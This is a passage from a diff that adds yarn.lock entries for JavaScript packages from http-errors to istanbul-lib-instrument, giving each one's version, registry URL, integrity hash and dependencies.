+http-errors@2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/http-errors/-/http-errors-2.0.0.tgz#b7774a1486ef73cf7667ac9ae0858c012c57b9d3"
+  integrity sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==
+  dependencies:
+    depd "2.0.0"
+    inherits "2.0.4"
+    setprototypeof "1.2.0"
+    statuses "2.0.1"
+    toidentifier "1.0.1"
+
+http-errors@~1.6.2:
+  version "1.6.3"
+  resolved "https://registry.yarnpkg.com/http-errors/-/http-errors-1.6.3.tgz#8b55680bb4be283a0b5bf4ea2e38580be1d9320d"
+  integrity sha512-lks+lVC8dgGyh97jxvxeYTWQFvh4uw4yC12gVl63Cg30sjPX4wuGcdkICVXDAESr6OJGjqGA8Iz5mkeN6zlD7A==
+  dependencies:
+    depd "~1.1.2"
+    inherits "2.0.3"
+    setprototypeof "1.1.0"
+    statuses ">= 1.4.0 < 2"
+
+http-parser-js@>=0.5.1:
+  version "0.5.9"
+  resolved "https://registry.yarnpkg.com/http-parser-js/-/http-parser-js-0.5.9.tgz#b817b3ca0edea6236225000d795378707c169cec"
+  integrity sha512-n1XsPy3rXVxlqxVioEWdC+0+M+SQw0DpJynwtOPo1X+ZlvdzTLtDBIJJlDQTnwZIFJrZSzSGmIOUdP8tu+SgLw==
+
+http-proxy-agent@^4.0.1:
+  version "4.0.1"
+  resolved "https://registry.yarnpkg.com/http-proxy-agent/-/http-proxy-agent-4.0.1.tgz#8a8c8ef7f5932ccf953c296ca8291b95aa74aa3a"
+  integrity sha512-k0zdNgqWTGA6aeIRVpvfVob4fL52dTfaehylg0Y4UvSySvOq/Y+BOyPrgpUrA7HylqvU8vIZGsRuXmspskV0Tg==
+  dependencies:
+    "@tootallnate/once" "1"
+    agent-base "6"
+    debug "4"
+
+http-proxy-middleware@^2.0.3:
+  version "2.0.7"
+  resolved "https://registry.yarnpkg.com/http-proxy-middleware/-/http-proxy-middleware-2.0.7.tgz#915f236d92ae98ef48278a95dedf17e991936ec6"
+  integrity sha512-fgVY8AV7qU7z/MmXJ/rxwbrtQH4jBQ9m7kp3llF0liB7glmFeVZFBepQb32T3y8n8k2+AEYuMPCpinYW+/CuRA==
+  dependencies:
+    "@types/http-proxy" "^1.17.8"
+    http-proxy "^1.18.1"
+    is-glob "^4.0.1"
+    is-plain-obj "^3.0.0"
+    micromatch "^4.0.2"
+
+http-proxy@^1.18.1:
+  version "1.18.1"
+  resolved "https://registry.yarnpkg.com/http-proxy/-/http-proxy-1.18.1.tgz#401541f0534884bbf95260334e72f88ee3976549"
+  integrity sha512-7mz/721AbnJwIVbnaSv1Cz3Am0ZLT/UBwkC92VlxhXv/k/BBQfM2fXElQNC27BVGr0uwUpplYPQM9LnaBMR5NQ==
+  dependencies:
+    eventemitter3 "^4.0.0"
+    follow-redirects "^1.0.0"
+    requires-port "^1.0.0"
+
+https-proxy-agent@^5.0.0:
+  version "5.0.1"
+  resolved "https://registry.yarnpkg.com/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz#c59ef224a04fe8b754f3db0063a25ea30d0005d6"
+  integrity sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==
+  dependencies:
+    agent-base "6"
+    debug "4"
+
+human-signals@^2.1.0:
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/human-signals/-/human-signals-2.1.0.tgz#dc91fcba42e4d06e4abaed33b3e7a3c02f514ea0"
+  integrity sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw==
+
+iconv-lite@0.4.24:
+  version "0.4.24"
+  resolved "https://registry.yarnpkg.com/iconv-lite/-/iconv-lite-0.4.24.tgz#2022b4b25fbddc21d2f524974a474aafe733908b"
+  integrity sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==
+  dependencies:
+    safer-buffer ">= 2.1.2 < 3"
+
+iconv-lite@^0.6.3:
+  version "0.6.3"
+  resolved "https://registry.yarnpkg.com/iconv-lite/-/iconv-lite-0.6.3.tgz#a52f80bf38da1952eb5c681790719871a1a72501"
+  integrity sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==
+  dependencies:
+    safer-buffer ">= 2.1.2 < 3.0.0"
+
+icss-utils@^5.0.0, icss-utils@^5.1.0:
+  version "5.1.0"
+  resolved "https://registry.yarnpkg.com/icss-utils/-/icss-utils-5.1.0.tgz#c6be6858abd013d768e98366ae47e25d5887b1ae"
+  integrity sha512-soFhflCVWLfRNOPU3iv5Z9VUdT44xFRbzjLsEzSr5AQmgqPMTHdU3PMT1Cf1ssx8fLNJDA1juftYl+PUcv3MqA==
+
+idb@^7.0.1:
+  version "7.1.1"
+  resolved "https://registry.yarnpkg.com/idb/-/idb-7.1.1.tgz#d910ded866d32c7ced9befc5bfdf36f572ced72b"
+  integrity sha512-gchesWBzyvGHRO9W8tzUWFDycow5gwjvFKfyV9FF32Y7F50yZMp7mP+T2mJIWFx49zicqyC4uefHM17o6xKIVQ==
+
+identity-obj-proxy@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/identity-obj-proxy/-/identity-obj-proxy-3.0.0.tgz#94d2bda96084453ef36fbc5aaec37e0f79f1fc14"
+  integrity sha512-00n6YnVHKrinT9t0d9+5yZC6UBNJANpYEQvL2LlX6Ab9lnmxzIRcEmTPuyGScvl1+jKuCICX1Z0Ab1pPKKdikA==
+  dependencies:
+    harmony-reflect "^1.4.6"
+
+ignore@^5.2.0:
+  version "5.3.2"
+  resolved "https://registry.yarnpkg.com/ignore/-/ignore-5.3.2.tgz#3cd40e729f3643fd87cb04e50bf0eb722bc596f5"
+  integrity sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==
+
+immer@^9.0.7:
+  version "9.0.21"
+  resolved "https://registry.yarnpkg.com/immer/-/immer-9.0.21.tgz#1e025ea31a40f24fb064f1fef23e931496330176"
+  integrity sha512-bc4NBHqOqSfRW7POMkHd51LvClaeMXpm8dx0e8oE2GORbq5aRK7Bxl4FyzVLdGtLmvLKL7BTDBG5ACQm4HWjTA==
+
+import-fresh@^3.1.0, import-fresh@^3.2.1:
+  version "3.3.1"
+  resolved "https://registry.yarnpkg.com/import-fresh/-/import-fresh-3.3.1.tgz#9cecb56503c0ada1f2741dbbd6546e4b13b57ccf"
+  integrity sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ==
+  dependencies:
+    parent-module "^1.0.0"
+    resolve-from "^4.0.0"
+
+import-local@^3.0.2:
+  version "3.2.0"
+  resolved "https://registry.yarnpkg.com/import-local/-/import-local-3.2.0.tgz#c3d5c745798c02a6f8b897726aba5100186ee260"
+  integrity sha512-2SPlun1JUPWoM6t3F0dw0FkCF/jWY8kttcY4f599GLTSjh2OCuuhdTkJQsEcZzBqbXZGKMK2OqW1oZsjtf/gQA==
+  dependencies:
+    pkg-dir "^4.2.0"
+    resolve-cwd "^3.0.0"
+
+imurmurhash@^0.1.4:
+  version "0.1.4"
+  resolved "https://registry.yarnpkg.com/imurmurhash/-/imurmurhash-0.1.4.tgz#9218b9b2b928a238b13dc4fb6b6d576f231453ea"
+  integrity sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==
+
+inflight@^1.0.4:
+  version "1.0.6"
+  resolved "https://registry.yarnpkg.com/inflight/-/inflight-1.0.6.tgz#49bd6331d7d02d0c09bc910a1075ba8165b56df9"
+  integrity sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==
+  dependencies:
+    once "^1.3.0"
+    wrappy "1"
+
+inherits@2, inherits@2.0.4, inherits@^2.0.1, inherits@^2.0.3, inherits@~2.0.3:
+  version "2.0.4"
+  resolved "https://registry.yarnpkg.com/inherits/-/inherits-2.0.4.tgz#0fa2c64f932917c3433a0ded55363aae37416b7c"
+  integrity sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==
+
+inherits@2.0.3:
+  version "2.0.3"
+  resolved "https://registry.yarnpkg.com/inherits/-/inherits-2.0.3.tgz#633c2c83e3da42a502f52466022480f4208261de"
+  integrity sha512-x00IRNXNy63jwGkJmzPigoySHbaqpNuzKbBOmzK+g2OdZpQ9w+sxCN+VSB3ja7IAge2OP2qpfxTjeNcyjmW1uw==
+
+ini@^1.3.5:
+  version "1.3.8"
+  resolved "https://registry.yarnpkg.com/ini/-/ini-1.3.8.tgz#a29da425b48806f34767a4efce397269af28432c"
+  integrity sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==
+
+internal-slot@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/internal-slot/-/internal-slot-1.1.0.tgz#1eac91762947d2f7056bc838d93e13b2e9604961"
+  integrity sha512-4gd7VpWNQNB4UKKCFFVcp1AVv+FMOgs9NKzjHKusc8jTMhd5eL1NqQqOpE0KzMds804/yHlglp3uxgluOqAPLw==
+  dependencies:
+    es-errors "^1.3.0"
+    hasown "^2.0.2"
+    side-channel "^1.1.0"
+
+ipaddr.js@1.9.1:
+  version "1.9.1"
+  resolved "https://registry.yarnpkg.com/ipaddr.js/-/ipaddr.js-1.9.1.tgz#bff38543eeb8984825079ff3a2a8e6cbd46781b3"
+  integrity sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==
+
+ipaddr.js@^2.0.1:
+  version "2.2.0"
+  resolved "https://registry.yarnpkg.com/ipaddr.js/-/ipaddr.js-2.2.0.tgz#d33fa7bac284f4de7af949638c9d68157c6b92e8"
+  integrity sha512-Ag3wB2o37wslZS19hZqorUnrnzSkpOVy+IiiDEiTqNubEYpYuHWIf6K4psgN2ZWKExS4xhVCrRVfb/wfW8fWJA==
+
+is-array-buffer@^3.0.4, is-array-buffer@^3.0.5:
+  version "3.0.5"
+  resolved "https://registry.yarnpkg.com/is-array-buffer/-/is-array-buffer-3.0.5.tgz#65742e1e687bd2cc666253068fd8707fe4d44280"
+  integrity sha512-DDfANUiiG2wC1qawP66qlTugJeL5HyzMpfr8lLK+jMQirGzNod0B12cFB/9q838Ru27sBwfw78/rdoU7RERz6A==
+  dependencies:
+    call-bind "^1.0.8"
+    call-bound "^1.0.3"
+    get-intrinsic "^1.2.6"
+
+is-arrayish@^0.2.1:
+  version "0.2.1"
+  resolved "https://registry.yarnpkg.com/is-arrayish/-/is-arrayish-0.2.1.tgz#77c99840527aa8ecb1a8ba697b80645a7a926a9d"
+  integrity sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==
+
+is-async-function@^2.0.0:
+  version "2.1.1"
+  resolved "https://registry.yarnpkg.com/is-async-function/-/is-async-function-2.1.1.tgz#3e69018c8e04e73b738793d020bfe884b9fd3523"
+  integrity sha512-9dgM/cZBnNvjzaMYHVoxxfPj2QXt22Ev7SuuPrs+xav0ukGB0S6d4ydZdEiM48kLx5kDV+QBPrpVnFyefL8kkQ==
+  dependencies:
+    async-function "^1.0.0"
+    call-bound "^1.0.3"
+    get-proto "^1.0.1"
+    has-tostringtag "^1.0.2"
+    safe-regex-test "^1.1.0"
+
+is-bigint@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/is-bigint/-/is-bigint-1.1.0.tgz#dda7a3445df57a42583db4228682eba7c4170672"
+  integrity sha512-n4ZT37wG78iz03xPRKJrHTdZbe3IicyucEtdRsV5yglwc3GyUfbAfpSeD0FJ41NbUNSt5wbhqfp1fS+BgnvDFQ==
+  dependencies:
+    has-bigints "^1.0.2"
+
+is-binary-path@~2.1.0:
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/is-binary-path/-/is-binary-path-2.1.0.tgz#ea1f7f3b80f064236e83470f86c09c254fb45b09"
+  integrity sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==
+  dependencies:
+    binary-extensions "^2.0.0"
+
+is-boolean-object@^1.2.1:
+  version "1.2.2"
+  resolved "https://registry.yarnpkg.com/is-boolean-object/-/is-boolean-object-1.2.2.tgz#7067f47709809a393c71ff5bb3e135d8a9215d9e"
+  integrity sha512-wa56o2/ElJMYqjCjGkXri7it5FbebW5usLw/nPmCMs5DeZ7eziSYZhSmPRn0txqeW4LnAmQQU7FgqLpsEFKM4A==
+  dependencies:
+    call-bound "^1.0.3"
+    has-tostringtag "^1.0.2"
+
+is-callable@^1.2.7:
+  version "1.2.7"
+  resolved "https://registry.yarnpkg.com/is-callable/-/is-callable-1.2.7.tgz#3bc2a85ea742d9e36205dcacdd72ca1fdc51b055"
+  integrity sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==
+
+is-core-module@^2.13.0, is-core-module@^2.15.1, is-core-module@^2.16.0:
+  version "2.16.1"
+  resolved "https://registry.yarnpkg.com/is-core-module/-/is-core-module-2.16.1.tgz#2a98801a849f43e2add644fbb6bc6229b19a4ef4"
+  integrity sha512-UfoeMA6fIJ8wTYFEUjelnaGI67v6+N7qXJEvQuIGa99l4xsCruSYOVSQ0uPANn4dAzm8lkYPaKLrrijLq7x23w==
+  dependencies:
+    hasown "^2.0.2"
+
+is-data-view@^1.0.1, is-data-view@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/is-data-view/-/is-data-view-1.0.2.tgz#bae0a41b9688986c2188dda6657e56b8f9e63b8e"
+  integrity sha512-RKtWF8pGmS87i2D6gqQu/l7EYRlVdfzemCJN/P3UOs//x1QE7mfhvzHIApBTRf7axvT6DMGwSwBXYCT0nfB9xw==
+  dependencies:
+    call-bound "^1.0.2"
+    get-intrinsic "^1.2.6"
+    is-typed-array "^1.1.13"
+
+is-date-object@^1.0.5, is-date-object@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/is-date-object/-/is-date-object-1.1.0.tgz#ad85541996fc7aa8b2729701d27b7319f95d82f7"
+  integrity sha512-PwwhEakHVKTdRNVOw+/Gyh0+MzlCl4R6qKvkhuvLtPMggI1WAHt9sOwZxQLSGpUaDnrdyDsomoRgNnCfKNSXXg==
+  dependencies:
+    call-bound "^1.0.2"
+    has-tostringtag "^1.0.2"
+
+is-docker@^2.0.0, is-docker@^2.1.1:
+  version "2.2.1"
+  resolved "https://registry.yarnpkg.com/is-docker/-/is-docker-2.2.1.tgz#33eeabe23cfe86f14bde4408a02c0cfb853acdaa"
+  integrity sha512-F+i2BKsFrH66iaUFc0woD8sLy8getkwTwtOBjvs56Cx4CgJDeKQeqfz8wAYiSb8JOprWhHH5p77PbmYCvvUuXQ==
+
+is-extglob@^2.1.1:
+  version "2.1.1"
+  resolved "https://registry.yarnpkg.com/is-extglob/-/is-extglob-2.1.1.tgz#a88c02535791f02ed37c76a1b9ea9773c833f8c2"
+  integrity sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==
+
+is-finalizationregistry@^1.1.0:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/is-finalizationregistry/-/is-finalizationregistry-1.1.1.tgz#eefdcdc6c94ddd0674d9c85887bf93f944a97c90"
+  integrity sha512-1pC6N8qWJbWoPtEjgcL2xyhQOP491EQjeUo3qTKcmV8YSDDJrOepfG8pcC7h/QgnQHYSv0mJ3Z/ZWxmatVrysg==
+  dependencies:
+    call-bound "^1.0.3"
+
+is-fullwidth-code-point@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz#f116f8064fe90b3f7844a38997c0b75051269f1d"
+  integrity sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==
+
+is-generator-fn@^2.0.0:
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/is-generator-fn/-/is-generator-fn-2.1.0.tgz#7d140adc389aaf3011a8f2a2a4cfa6faadffb118"
+  integrity sha512-cTIB4yPYL/Grw0EaSzASzg6bBy9gqCofvWN8okThAYIxKJZC+udlRAmGbM0XLeniEJSs8uEgHPGuHSe1XsOLSQ==
+
+is-generator-function@^1.0.10:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/is-generator-function/-/is-generator-function-1.1.0.tgz#bf3eeda931201394f57b5dba2800f91a238309ca"
+  integrity sha512-nPUB5km40q9e8UfN/Zc24eLlzdSf9OfKByBw9CIdw4H1giPMeA0OIJvbchsCu4npfI2QcMVBsGEBHKZ7wLTWmQ==
+  dependencies:
+    call-bound "^1.0.3"
+    get-proto "^1.0.0"
+    has-tostringtag "^1.0.2"
+    safe-regex-test "^1.1.0"
+
+is-glob@^4.0.0, is-glob@^4.0.1, is-glob@^4.0.3, is-glob@~4.0.1:
+  version "4.0.3"
+  resolved "https://registry.yarnpkg.com/is-glob/-/is-glob-4.0.3.tgz#64f61e42cbbb2eec2071a9dac0b28ba1e65d5084"
+  integrity sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==
+  dependencies:
+    is-extglob "^2.1.1"
+
+is-map@^2.0.3:
+  version "2.0.3"
+  resolved "https://registry.yarnpkg.com/is-map/-/is-map-2.0.3.tgz#ede96b7fe1e270b3c4465e3a465658764926d62e"
+  integrity sha512-1Qed0/Hr2m+YqxnM09CjA2d/i6YZNfF6R2oRAOj36eUdS6qIV/huPJNSEpKbupewFs+ZsJlxsjjPbc0/afW6Lw==
+
+is-module@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/is-module/-/is-module-1.0.0.tgz#3258fb69f78c14d5b815d664336b4cffb6441591"
+  integrity sha512-51ypPSPCoTEIN9dy5Oy+h4pShgJmPCygKfyRCISBI+JoWT/2oJvK8QPxmwv7b/p239jXrm9M1mlQbyKJ5A152g==
+
+is-number-object@^1.1.1:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/is-number-object/-/is-number-object-1.1.1.tgz#144b21e95a1bc148205dcc2814a9134ec41b2541"
+  integrity sha512-lZhclumE1G6VYD8VHe35wFaIif+CTy5SJIi5+3y4psDgWu4wPDoBhF8NxUOinEc7pHgiTsT6MaBb92rKhhD+Xw==
+  dependencies:
+    call-bound "^1.0.3"
+    has-tostringtag "^1.0.2"
+
+is-number@^7.0.0:
+  version "7.0.0"
+  resolved "https://registry.yarnpkg.com/is-number/-/is-number-7.0.0.tgz#7535345b896734d5f80c4d06c50955527a14f12b"
+  integrity sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==
+
+is-obj@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/is-obj/-/is-obj-1.0.1.tgz#3e4729ac1f5fde025cd7d83a896dab9f4f67db0f"
+  integrity sha512-l4RyHgRqGN4Y3+9JHVrNqO+tN0rV5My76uW5/nuO4K1b6vw5G8d/cmFjP9tRfEsdhZNt0IFdZuK/c2Vr4Nb+Qg==
+
+is-path-inside@^3.0.3:
+  version "3.0.3"
+  resolved "https://registry.yarnpkg.com/is-path-inside/-/is-path-inside-3.0.3.tgz#d231362e53a07ff2b0e0ea7fed049161ffd16283"
+  integrity sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ==
+
+is-plain-obj@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/is-plain-obj/-/is-plain-obj-3.0.0.tgz#af6f2ea14ac5a646183a5bbdb5baabbc156ad9d7"
+  integrity sha512-gwsOE28k+23GP1B6vFl1oVh/WOzmawBrKwo5Ev6wMKzPkaXaCDIQKzLnvsA42DRlbVTWorkgTKIviAKCWkfUwA==
+
+is-potential-custom-element-name@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/is-potential-custom-element-name/-/is-potential-custom-element-name-1.0.1.tgz#171ed6f19e3ac554394edf78caa05784a45bebb5"
+  integrity sha512-bCYeRA2rVibKZd+s2625gGnGF/t7DSqDs4dP7CrLA1m7jKWz6pps0LpYLJN8Q64HtmPKJ1hrN3nzPNKFEKOUiQ==
+
+is-regex@^1.2.1:
+  version "1.2.1"
+  resolved "https://registry.yarnpkg.com/is-regex/-/is-regex-1.2.1.tgz#76d70a3ed10ef9be48eb577887d74205bf0cad22"
+  integrity sha512-MjYsKHO5O7mCsmRGxWcLWheFqN9DJ/2TmngvjKXihe6efViPqc274+Fx/4fYj/r03+ESvBdTXK0V6tA3rgez1g==
+  dependencies:
+    call-bound "^1.0.2"
+    gopd "^1.2.0"
+    has-tostringtag "^1.0.2"
+    hasown "^2.0.2"
+
+is-regexp@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/is-regexp/-/is-regexp-1.0.0.tgz#fd2d883545c46bac5a633e7b9a09e87fa2cb5069"
+  integrity sha512-7zjFAPO4/gwyQAAgRRmqeEeyIICSdmCqa3tsVHMdBzaXXRiqopZL4Cyghg/XulGWrtABTpbnYYzzIRffLkP4oA==
+
+is-root@^2.1.0:
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/is-root/-/is-root-2.1.0.tgz#809e18129cf1129644302a4f8544035d51984a9c"
+  integrity sha512-AGOriNp96vNBd3HtU+RzFEc75FfR5ymiYv8E553I71SCeXBiMsVDUtdio1OEFvrPyLIQ9tVR5RxXIFe5PUFjMg==
+
+is-set@^2.0.3:
+  version "2.0.3"
+  resolved "https://registry.yarnpkg.com/is-set/-/is-set-2.0.3.tgz#8ab209ea424608141372ded6e0cb200ef1d9d01d"
+  integrity sha512-iPAjerrse27/ygGLxw+EBR9agv9Y6uLeYVJMu+QNCoouJ1/1ri0mGrcWpfCqFZuzzx3WjtwxG098X+n4OuRkPg==
+
+is-shared-array-buffer@^1.0.4:
+  version "1.0.4"
+  resolved "https://registry.yarnpkg.com/is-shared-array-buffer/-/is-shared-array-buffer-1.0.4.tgz#9b67844bd9b7f246ba0708c3a93e34269c774f6f"
+  integrity sha512-ISWac8drv4ZGfwKl5slpHG9OwPNty4jOWPRIhBpxOoD+hqITiwuipOQ2bNthAzwA3B4fIjO4Nln74N0S9byq8A==
+  dependencies:
+    call-bound "^1.0.3"
+
+is-stream@^2.0.0:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/is-stream/-/is-stream-2.0.1.tgz#fac1e3d53b97ad5a9d0ae9cef2389f5810a5c077"
+  integrity sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==
+
+is-string@^1.0.7, is-string@^1.1.1:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/is-string/-/is-string-1.1.1.tgz#92ea3f3d5c5b6e039ca8677e5ac8d07ea773cbb9"
+  integrity sha512-BtEeSsoaQjlSPBemMQIrY1MY0uM6vnS1g5fmufYOtnxLGUZM2178PKbhsk7Ffv58IX+ZtcvoGwccYsh0PglkAA==
+  dependencies:
+    call-bound "^1.0.3"
+    has-tostringtag "^1.0.2"
+
+is-symbol@^1.0.4, is-symbol@^1.1.1:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/is-symbol/-/is-symbol-1.1.1.tgz#f47761279f532e2b05a7024a7506dbbedacd0634"
+  integrity sha512-9gGx6GTtCQM73BgmHQXfDmLtfjjTUDSyoxTCbp5WtoixAhfgsDirWIcVQ/IHpvI5Vgd5i/J5F7B9cN/WlVbC/w==
+  dependencies:
+    call-bound "^1.0.2"
+    has-symbols "^1.1.0"
+    safe-regex-test "^1.1.0"
+
+is-typed-array@^1.1.13, is-typed-array@^1.1.14, is-typed-array@^1.1.15:
+  version "1.1.15"
+  resolved "https://registry.yarnpkg.com/is-typed-array/-/is-typed-array-1.1.15.tgz#4bfb4a45b61cee83a5a46fba778e4e8d59c0ce0b"
+  integrity sha512-p3EcsicXjit7SaskXHs1hA91QxgTw46Fv6EFKKGS5DRFLD8yKnohjF3hxoju94b/OcMZoQukzpPpBE9uLVKzgQ==
+  dependencies:
+    which-typed-array "^1.1.16"
+
+is-typedarray@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/is-typedarray/-/is-typedarray-1.0.0.tgz#e479c80858df0c1b11ddda6940f96011fcda4a9a"
+  integrity sha512-cyA56iCMHAh5CdzjJIa4aohJyeO1YbwLi3Jc35MmRU6poroFjIGZzUzupGiRPOjgHg9TLu43xbpwXk523fMxKA==
+
+is-weakmap@^2.0.2:
+  version "2.0.2"
+  resolved "https://registry.yarnpkg.com/is-weakmap/-/is-weakmap-2.0.2.tgz#bf72615d649dfe5f699079c54b83e47d1ae19cfd"
+  integrity sha512-K5pXYOm9wqY1RgjpL3YTkF39tni1XajUIkawTLUo9EZEVUFga5gSQJF8nNS7ZwJQ02y+1YCNYcMh+HIf1ZqE+w==
+
+is-weakref@^1.0.2, is-weakref@^1.1.0:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/is-weakref/-/is-weakref-1.1.1.tgz#eea430182be8d64174bd96bffbc46f21bf3f9293"
+  integrity sha512-6i9mGWSlqzNMEqpCp93KwRS1uUOodk2OJ6b+sq7ZPDSy2WuI5NFIxp/254TytR8ftefexkWn5xNiHUNpPOfSew==
+  dependencies:
+    call-bound "^1.0.3"
+
+is-weakset@^2.0.3:
+  version "2.0.4"
+  resolved "https://registry.yarnpkg.com/is-weakset/-/is-weakset-2.0.4.tgz#c9f5deb0bc1906c6d6f1027f284ddf459249daca"
+  integrity sha512-mfcwb6IzQyOKTs84CQMrOwW4gQcaTOAWJ0zzJCl2WSPDrWk/OzDaImWFH3djXhb24g4eudZfLRozAvPGw4d9hQ==
+  dependencies:
+    call-bound "^1.0.3"
+    get-intrinsic "^1.2.6"
+
+is-wsl@^2.2.0:
+  version "2.2.0"
+  resolved "https://registry.yarnpkg.com/is-wsl/-/is-wsl-2.2.0.tgz#74a4c76e77ca9fd3f932f290c17ea326cd157271"
+  integrity sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww==
+  dependencies:
+    is-docker "^2.0.0"
+
+isarray@^2.0.5:
+  version "2.0.5"
+  resolved "https://registry.yarnpkg.com/isarray/-/isarray-2.0.5.tgz#8af1e4c1221244cc62459faf38940d4e644a5723"
+  integrity sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==
+
+isarray@~1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/isarray/-/isarray-1.0.0.tgz#bb935d48582cba168c06834957a54a3e07124f11"
+  integrity sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==
+
+isexe@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/isexe/-/isexe-2.0.0.tgz#e8fbf374dc556ff8947a10dcb0572d633f2cfa10"
+  integrity sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==
+
+istanbul-lib-coverage@^3.0.0, istanbul-lib-coverage@^3.2.0:
+  version "3.2.2"
+  resolved "https://registry.yarnpkg.com/istanbul-lib-coverage/-/istanbul-lib-coverage-3.2.2.tgz#2d166c4b0644d43a39f04bf6c2edd1e585f31756"
+  integrity sha512-O8dpsF+r0WV/8MNRKfnmrtCWhuKjxrq2w+jpzBL5UZKTi2LeVWnWOmWRxFlesJONmc+wLAGvKQZEOanko0LFTg==
+
+istanbul-lib-instrument@^5.0.4, istanbul-lib-instrument@^5.1.0:
+  version "5.2.1"
+  resolved "https://registry.yarnpkg.com/istanbul-lib-instrument/-/istanbul-lib-instrument-5.2.1.tgz#d10c8885c2125574e1c231cacadf955675e1ce3d"
